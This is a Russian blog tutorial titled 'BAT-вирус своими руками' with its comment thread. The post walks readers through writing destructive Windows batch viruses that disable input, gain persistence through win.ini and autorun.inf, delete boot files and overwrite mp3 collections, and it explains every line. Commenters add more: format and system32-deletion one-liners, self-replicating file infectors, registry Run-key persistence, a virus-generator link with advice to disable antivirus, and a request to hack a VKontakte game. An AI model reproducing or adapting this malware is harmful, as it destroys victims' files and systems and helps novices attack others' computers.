Познавательный блог Мобильная врсия

Страницы

Промо

BAT-вирус своими руками

Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием "Учим ДОС", то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым ... [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.

Вот тело моего первого вируса

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls

Объясняю популярно и по шагам:

1 @echo off - Запрещаем ДОСовскому окошку показывать, что делает скрипт.
2 rundll32 keyboard,disable - Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable - Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system - Копируемся в папку windows/system
// %0 - Переменная, указывающая на исходный файл-вирус
// %windir% - переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Добавляет текст "run=%windir%/system/*.bat" в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Добавляет текст "run=%windir%/system/*.bat" в файл system.ini
7 label LOHOLAMMER - Меняет имя диску c:\ на "LOHOLAMMER"
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Проверяем если есть файл c:\autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:\autoexec.bat - Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Добавить текст "YOU ARE LAMMER...xe-xe-xe"
//в новый файл autoexec.bat
11 rundll32 mouse,enable - Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable - Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе"); >> %temp%\mes.js
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%\mes.js //А потом стирает за собой следы.
14 attrib c:\autoexec.bat +h +s +a +r - Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause - Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls - Выходим

Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать 'Вы ламер.' .Работает только в винде до 2000.

Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.

@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите... //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....[]=[_H@CKED_BY_[kas]*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. А теперь необходимо перезагрузиться"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls

А теперь, что-то новое.

@echo off
cls
echo Please wait, updating system...
ctty nul. //Это новая команда, она отключает вывод текста в окошке.
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Переходим в другую директорию
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Метка
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме
ctty con //Врубаем разрешение на показ текста в окне
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки
cls //Выход.

Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:
Написал еще пару своих:

ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
" Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ' ‰?ђ Ќ ё.%Н.Ќ є Н'ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите... //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER.... > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.ini

copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход

О какие бывают вирусы. И на что только ни ухитряются вирусописатели, чтобы добиться нужного результата. Прочитав эту доку ты с уверенностью сможешь сам написать BAT вирус, даже лучше моего ;).Ну удачи тебе в написании вирей, а я отклонюсь и свалю пить пиво %-).

Статьи написаны исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.

Комментарии

Комментарий от GRO88 [ 4 января, 2010, 00:04 ]

Влад перезагрузка “shutdown -r” выключение “sutdown -s” если в конце еще написать “-t 0” то сразу

Комментарий от Ветал [ 4 января, 2010, 21:49 ]

Статья не очень, многие команды уже палятся каспером
(например отключение клавы и мышки)

Комментарий от levinter [ 4 января, 2010, 22:09 ]

так ну в контакт ето врядли…… ну помню одно .. незнаю получится такое с бат вирем или нет ну попробывать мона…. если аккуратно взломать страничку (ну если вы знаете другой способ редактировать коды страницы то пожалуста)бирем находим (не помню тосно как она выглядит…) команду кнопки (неимеет значение какой ну например просмотр фото) и пишим в ету кнопку вместо команды сам текст виря …. ну не отвечаю что получится но с писмами проходит ета фигня…. а да еще нюан помойму два языка програмирования низя в одной проги писать ну тогда делаем так… заносим какимнибудь макаром бат вирь в контакт типо в мои файлы (или че там за вкладки) а вместо кнопки пишем команду <> fail_Virko.bat ну или както так непомню точно команду ету…так чето еще забыл …. а если че потом добавлю….Shutdown -t 0 –s -Эта команда выключает компютер …. а если решил написать свой вирь на бесконечный перезапуск то нафиг его уже придумали…… вот кстати если хотите поугарать над кемнибудь вот так можно
@echo off
echo pizda ckompy а выведет текст хороший на икран
label eban переименуем можно конечно так чтоб вместо С:\ писало ченить другое ну впадло писать
assoc *.* loh.eblanko все файлы терь вот под таким название и таком формате …гыгы
cd C:\ перейдем в католого С
del sys.* а ето все ради прикола после етого ни мыш ни клава не запустятся
del *.sys ну непомню сус ето формат или имя так что чтоб навернека

Комментарий от levinter [ 6 января, 2010, 21:40 ]

мдя ну ти витал и лох….. даже добавить нечего….во первых эти команды палятся уже давно так как ета команда в основном в червях используется…. ну если хакер не ламер то можно сначала удалить касперского на такой случай… а да еще гдето видел такое помоему в макро вирусе команду против обноружения антивирусом….

Комментарий от FaPToBbIu [ 8 января, 2010, 11:00 ]

Люди а вы 3наете что можно обойтись и 5-ими строчками чтобы сломать всю систему)))

Комментарий от morgan [ 10 января, 2010, 11:02 ]

ну и где твои 5 строчек просвяти народ епт)))

Комментарий от levinter [ 10 января, 2010, 19:21 ]

тока винд сломать можно

Комментарий от Серж [ 14 января, 2010, 00:09 ]

Ребят, конечно все красиво, но зачем все так усложнять? Зачем писать такой большой код? Посмотрел я все изложенные тут вирусы и убедился, что их результат работы – прекращение стабильной загрузки Windows, но зачем такой большой код, если для этого достаточно удалить всего один 1 файл? В корневом катологе загрузочного диска удаляете файл скрытый файл ntldr простой командой del… и все…

Комментарий от vovfka [ 14 января, 2010, 14:36 ]

кто знает какую команду в батнике прописать что бы выполняемый батник не выводил окно доса.
я нашел ток через скрипт типа файл *.vbs с текстом
Dim Shell

set Shell = CreateObject(“WScript.Shell”)

Shell.run “start.bat”,0,1

Set Shell= Nothing

запукает батник start.bat скрыто.

Комментарий от levinter [ 14 января, 2010, 15:35 ]

ну и лол смотри
@fomat C:\ /q
вот и все нуб

Комментарий от Mila [ 15 января, 2010, 08:07 ]

ВСЕ – ТУПОЙ, БЕСМЫССЛЕННЫЙ БРЕД. дс – какой то.

Комментарий от levinter [ 15 января, 2010, 20:07 ]

vovfka запуск в свернутом режиметут гдето был написан глянь внимательно ктото уже писал

Комментарий от Лёша [ 16 января, 2010, 00:58 ]

Блять я етот вирус на себе запустил и нифига =(

Комментарий от levinter [ 16 января, 2010, 22:00 ]

давай я вирь напишу охуееш…. тут просто есть удаленые модули поетому

Комментарий от женя [ 21 января, 2010, 00:00 ]

я долго ржал над другом

Комментарий от xaker [ 24 января, 2010, 20:24 ]

здорова чуваки. я в школе все компы заразил этой хуйнёй,мой вирь
запускается раз в 4 дня и заражает файлы почти всех форматов.Вот код для заражения:jpg,gif,mp3,midi,bat,ini,rar….короче что хотите.

@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find “MrWeb”c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (..*.jpg ..*.doc ..*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
там где написаны форматы можно написать любые форматы какие хочеш

Комментарий от levinter [ 26 января, 2010, 19:21 ]

мдяяяяяяя вот зачем ета строка «MrWeb»c:MrWeb.bat оператор find означает поиск
и рас в 4 дня он не запустится… потом еще если висать куда нить %2 то просто сам себя запустит а не сам вирь вить дос не знает что имели ввиду програму которая суда ето вписала

Комментарий от Gol [ 27 января, 2010, 22:50 ]

Вирус должен заражать, а не портить код жертвы. гуглите конструктор bat вирусов “BVGMIX” – он создает настоящие bat вирусы. Например:
————————–
@echo off%[ViRuS]%
set ViRuSorX=*.ba
if ‘%1==’vnPY goto ViRuSKIQk
if ‘%1==’uBwOLNA goto ViRuSAAy
if exist c:\ViRuS.bat goto ViRuSkxQs
if not exist %0 goto ViRuSGcy
find “ViRuS”c:\ViRuS.bat
attrib +h c:\ViRuS.bat
:ViRuSkxQs
for %%q in (.) do call c:\ViRuS.bat uBwOLNA %%~sq
goto ViRuSGcy
:ViRuSAAy
for %%S in (%2\%ViRuSorX%t) do call c:\ViRuS.bat vnPY %%~sS
goto ViRuSGcy
:ViRuSKIQk
find “ViRuS”nul
if not errorlevel 1 goto ViRuSGcy
echo.>>%2%[ViRuS]%
type c:\ViRuS.bat>>%2
:ViRuSGcy
————————-

Комментарий от rich [ 28 января, 2010, 10:39 ]

мля!!!самый простой вирь!!
rd /s/q D:\WINDOWS\system32
копируем его дядьке преподу его в автозагр. и все!!этого достаточно!!

Комментарий от Колян [ 29 января, 2010, 23:08 ]

Привет всем.Люди напишите кто нибудь код чтоб вирус запускался сам в заданное время или дату,а то я такой вирусяку забабахал просто охереть можно,
напишите кто нибудь плиззззззз,а то пиздец как надо.

Комментарий от romka747 [ 31 января, 2010, 15:37 ]

генератор вирусов кузя https://depositfiles.com/files/1qbgf1boj

Комментарий от romka747 [ 31 января, 2010, 16:36 ]

генератор просто супер тока перед скачиванием отключите антивиры !!!

Комментарий от Саня [ 1 февраля, 2010, 17:26 ]

люди напишите кто нибудь код чтоб вирус сам запускался в заданное время или дату.очень надо!!!!!!!!

Комментарий от ыыы [ 5 февраля, 2010, 20:57 ]

а может кто нить подсказать как избавиться от этого ?? а то я лох запустил терь незнаю что делать!!! помогите плиз ася вот 485565809

Комментарий от JuseS [ 6 февраля, 2010, 01:23 ]

[red][blink]Хуйня это всё:)гггг[/blink][/red] [green][blink]Пишите на мыло, кому нужен bat вирусы… напишу любой![/blink][/green]

Комментарий от JuseS [ 6 февраля, 2010, 01:24 ]

аааааа сук…. не работает тут…. мля….

Комментарий от Антивирь [ 8 февраля, 2010, 09:30 ]

Ну да, отключим антивирь и твой вирь попадет в нашу систему, отлично придумал :)

Комментарий от zarj [ 9 февраля, 2010, 16:06 ]

кто может взломать счасливий фермер вконтакте прошу подскажите!

Комментарий от vlad [ 10 февраля, 2010, 21:20 ]

pik[neac] поменяй файле иконку например как в папке!!

Комментарий от Nickers [ 15 мая, 2010, 11:43 ]

JuseS +1 но для начала норм (поучится) даж нахожу для себя новым и интересным ^^

Когда наткнулся на статейку редактировал свой тупой вирус^^:

reg add “hkcu\software\microsoft\windows\currentVersion\run” /v DieInTheHell /t reg_sz /d “C:\temp\Mozilla\ByNickers.bat”
cd C:\temp
md Mozilla
cd C:\temp\Mozilla //Не знаю почему но с %temp% накладка Т Т
echo shutdown -s -f >>ByNickers.bat
attrib ByNickers.bat +h
shutdown -p -f

еще не тестил…

Написать комментарий








Поиск по сайту

Статистика

Мета

  Разработка и дизайн — StvPromo.ru